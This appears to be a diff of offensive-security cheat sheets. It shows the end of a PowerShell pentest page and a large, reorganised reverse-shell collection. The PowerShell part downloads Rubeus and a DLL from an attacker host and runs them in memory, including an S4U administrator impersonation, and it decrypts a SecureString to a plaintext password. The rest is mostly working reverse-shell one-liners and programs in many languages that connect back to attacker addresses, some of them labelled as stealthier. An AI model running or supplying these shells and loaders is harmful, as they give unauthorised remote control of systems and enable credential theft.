$assem = [System.Reflection.Assembly]::Load($data)
|
||||
[rev.Program]::Main()
|
||||
|
||||
# Download and run Rubeus, with arguments (make sure to split the args)
|
||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
|
||||
$assem = [System.Reflection.Assembly]::Load($data)
|
||||
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
|
||||
|
||||
# Execute a specific method from an assembly (e.g. a DLL)
|
||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
|
||||
$assem = [System.Reflection.Assembly]::Load($data)
|
||||
$class = $assem.GetType("ClassLibrary1.Class1")
|
||||
$method = $class.GetMethod("runner")
|
||||
$method.Invoke(0, $null)
|
||||
```
|
||||
|
||||
## Secure String to Plaintext
|
||||
|
||||
```ps1
|
||||
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
|
||||
$user = "HTB\Tom"
|
||||
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
|
||||
$cred.GetNetworkCredential() | fl
|
||||
UserName : Tom
|
||||
Password : 1ts-mag1c!!!
|
||||
SecurePassword : System.Security.SecureString
|
||||
Domain : HTB
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
|
||||
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)
|
||||
@@ -2,26 +2,35 @@
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Reverse Shell](#reverse-shell)
|
||||
* [Awk](#awk)
|
||||
* [Automatic Reverse Shell Generator](#revshells)
|
||||
* [Bash TCP](#bash-tcp)
|
||||
* [Bash UDP](#bash-udp)
|
||||
* [Socat](#socat)
|
||||
* [Perl](#perl)
|
||||
* [Python](#python)
|
||||
* [PHP](#php)
|
||||
* [Ruby](#ruby)
|
||||
* [C](#c)
|
||||
* [Dart](#dart)
|
||||
* [Golang](#golang)
|
||||
* [Netcat Traditional](#netcat-traditional)
|
||||
* [Netcat OpenBsd](#netcat-openbsd)
|
||||
* [Ncat](#ncat)
|
||||
* [OpenSSL](#openssl)
|
||||
* [Powershell](#powershell)
|
||||
* [Awk](#awk)
|
||||
* [Java](#java)
|
||||
* [War](#war)
|
||||
* [Lua](#lua)
|
||||
* [NodeJS](#nodejs)
|
||||
* [Groovy Alternative 1](#groovy-alternative-1)
|
||||
* [Groovy](#groovy)
|
||||
* [Java Alternative 1](#java-alternative-1)
|
||||
* [Java Alternative 2](#java-alternative-2)
|
||||
* [Java](#java)
|
||||
* [Lua](#lua)
|
||||
* [Ncat](#ncat)
|
||||
* [Netcat OpenBsd](#netcat-openbsd)
|
||||
* [Netcat BusyBox](#netcat-busybox)
|
||||
* [Netcat Traditional](#netcat-traditional)
|
||||
* [NodeJS](#nodejs)
|
||||
* [OpenSSL](#openssl)
|
||||
* [Perl](#perl)
|
||||
* [PHP](#php)
|
||||
* [Powershell](#powershell)
|
||||
* [Python](#python)
|
||||
* [Ruby](#ruby)
|
||||
* [Socat](#socat)
|
||||
* [Telnet](#telnet)
|
||||
* [War](#war)
|
||||
* [Meterpreter Shell](#meterpreter-shell)
|
||||
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
|
||||
* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp)
|
||||
@@ -31,31 +40,43 @@
|
||||
* [Spawn TTY Shell](#spawn-tty-shell)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
- [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) 
|
||||
- [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
|
||||
|
||||
## Reverse Shell
|
||||
|
||||
### Bash TCP
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
||||
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
|
||||
|
||||
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
|
||||
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
|
||||
|
||||
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
|
||||
```
|
||||
|
||||
### Bash UDP
|
||||
|
||||
```bash
|
||||
Victim:
|
||||
sh -i >& /dev/udp/127.0.0.1/4242 0>&1
|
||||
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
|
||||
|
||||
Listener:
|
||||
nc -u -lvp 4242
|
||||
```
|
||||
|
||||
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
|
||||
|
||||
### Socat
|
||||
|
||||
```powershell
|
||||
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
|
||||
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4242
|
||||
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
|
||||
```
|
||||
```powershell
|
||||
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
|
||||
```
|
||||
|
||||
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
|
||||
@@ -63,13 +84,13 @@ Static socat binary can be found at [https://github.com/andrew-d/static-binaries
|
||||
### Perl
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
|
||||
|
||||
NOTE: Windows only
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
|
||||
### Python
|
||||
@@ -78,81 +99,152 @@ Linux only
|
||||
|
||||
IPv4
|
||||
```python
|
||||
export RHOST="10.10.10.10";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
```
|
||||
```python
|
||||
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
||||
```
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
||||
```
|
||||
```python
|
||||
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
|
||||
```
|
||||
|
||||
IPv4
|
||||
IPv4 (No Spaces)
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
|
||||
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
||||
```
|
||||
```python
|
||||
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
||||
```
|
||||
```python
|
||||
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
|
||||
```
|
||||
|
||||
IPv4 (No Spaces, Shortened)
|
||||
```python
|
||||
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
||||
```
|
||||
```python
|
||||
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
|
||||
```
|
||||
```python
|
||||
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
|
||||
```
|
||||
|
||||
IPv4 (No Spaces, Shortened Further)
|
||||
```python
|
||||
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
||||
```
|
||||
```python
|
||||
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
|
||||
```
|
||||
```python
|
||||
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
|
||||
```
|
||||
|
||||
IPv6
|
||||
```python
|
||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
||||
```
|
||||
|
||||
IPv6 (No Spaces)
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
||||
```
|
||||
|
||||
IPv6 (No Spaces, Shortened)
|
||||
```python
|
||||
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
||||
```
|
||||
|
||||
Windows only
|
||||
|
||||
```powershell
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.10', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
|
||||
### PHP
|
||||
|
||||
```bash
|
||||
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
|
||||
```
|
||||
|
||||
```bash
|
||||
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
|
||||
```
|
||||
|
||||
### Ruby
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
|
||||
|
||||
NOTE: Windows only
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
|
||||
### Golang
|
||||
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
|
||||
### Netcat Traditional
|
||||
|
||||
```bash
|
||||
nc -e /bin/sh [IPADDR] [PORT]
|
||||
nc.traditional -e /bin/bash 10.0.0.1 4444
|
||||
nc -e /bin/sh 10.0.0.1 4242
|
||||
nc -e /bin/bash 10.0.0.1 4242
|
||||
nc -c bash 10.0.0.1 4242
|
||||
```
|
||||
|
||||
### Netcat OpenBsd
|
||||
|
||||
```bash
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
|
||||
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||
```
|
||||
|
||||
### Netcat BusyBox
|
||||
|
||||
```bash
|
||||
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||
```
|
||||
|
||||
### Ncat
|
||||
|
||||
```bash
|
||||
ncat 127.0.0.1 4444 -e /bin/bash
|
||||
ncat --udp 127.0.0.1 4444 -e /bin/bash
|
||||
ncat 10.0.0.1 4242 -e /bin/bash
|
||||
ncat --udp 10.0.0.1 4242 -e /bin/bash
|
||||
```
|
||||
|
||||
### OpenSSL
|
||||
|
||||
Attacker:
|
||||
```powershell
|
||||
hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||
hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
|
||||
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
|
||||
or
|
||||
hacker@kali$ ncat --ssl -vv -l -p 4242
|
||||
user@attack$ ncat --ssl -vv -l -p 4242
|
||||
|
||||
user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
|
||||
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
|
||||
```
|
||||
|
||||
TLS-PSK (does not rely on PKI or self-signed certificates)
|
||||
```bash
|
||||
# generate 384-bit PSK
|
||||
# use the generated string as a value for the two PSK variables from below
|
||||
openssl rand -hex 48
|
||||
# server (attacker)
|
||||
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
|
||||
# client (victim)
|
||||
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
|
||||
```
|
||||
|
||||
### Powershell
|
||||
@@ -172,15 +264,48 @@ powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubuse
|
||||
### Awk
|
||||
|
||||
```powershell
|
||||
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1>/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
|
||||
### Java
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
Runtime r = Runtime.getRuntime();
|
||||
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
|
||||
p.waitFor();
|
||||
|
||||
```
|
||||
|
||||
#### Java Alternative 1
|
||||
|
||||
```java
|
||||
String host="127.0.0.1";
|
||||
int port=4444;
|
||||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
|
||||
```
|
||||
|
||||
#### Java Alternative 2
|
||||
**NOTE**: This is more stealthy
|
||||
|
||||
```java
|
||||
Thread thread = new Thread(){
|
||||
public void run(){
|
||||
// Reverse shell here
|
||||
}
|
||||
}
|
||||
thread.start();
|
||||
```
|
||||
|
||||
### Telnet
|
||||
```bash
|
||||
In Attacker machine start two listeners:
|
||||
nc -lvp 8080
|
||||
nc -lvp 8081
|
||||
|
||||
In Victime machine run below command:
|
||||
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
|
||||
```
|
||||
|
||||
### War
|
||||
@@ -202,7 +327,7 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','424
|
||||
Windows and Linux
|
||||
|
||||
```powershell
|
||||
lua5.1 -e 'local host, port = "10.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
||||
### NodeJS
|
||||
@@ -241,52 +366,119 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
|
||||
NOTE: Java reverse shell also work for Groovy
|
||||
|
||||
```javascript
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
```java
|
||||
String host="10.0.0.1";
|
||||
int port=4242;
|
||||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
|
||||
#### Groovy Alternative 1
|
||||
**NOTE**: This is more stealthy
|
||||
|
||||
```java
|
||||
Thread.start {
|
||||
// Reverse shell here
|
||||
}
|
||||
```
|
||||
|
||||
### C
|
||||
|
||||
Compile with `gcc /tmp/shell.c --output csh && csh`
|
||||
|
||||
```csharp
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
int main(void){
|
||||
int port = 4242;
|
||||
struct sockaddr_in revsockaddr;
|
||||
|
||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
|
||||
|
||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||
sizeof(revsockaddr));
|
||||
dup2(sockt, 0);
|
||||
dup2(sockt, 1);
|
||||
dup2(sockt, 2);
|
||||
|
||||
char * const argv[] = {"/bin/sh", NULL};
|
||||
execve("/bin/sh", argv, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Dart
|
||||
|
||||
```java
|
||||
import 'dart:io';
|
||||
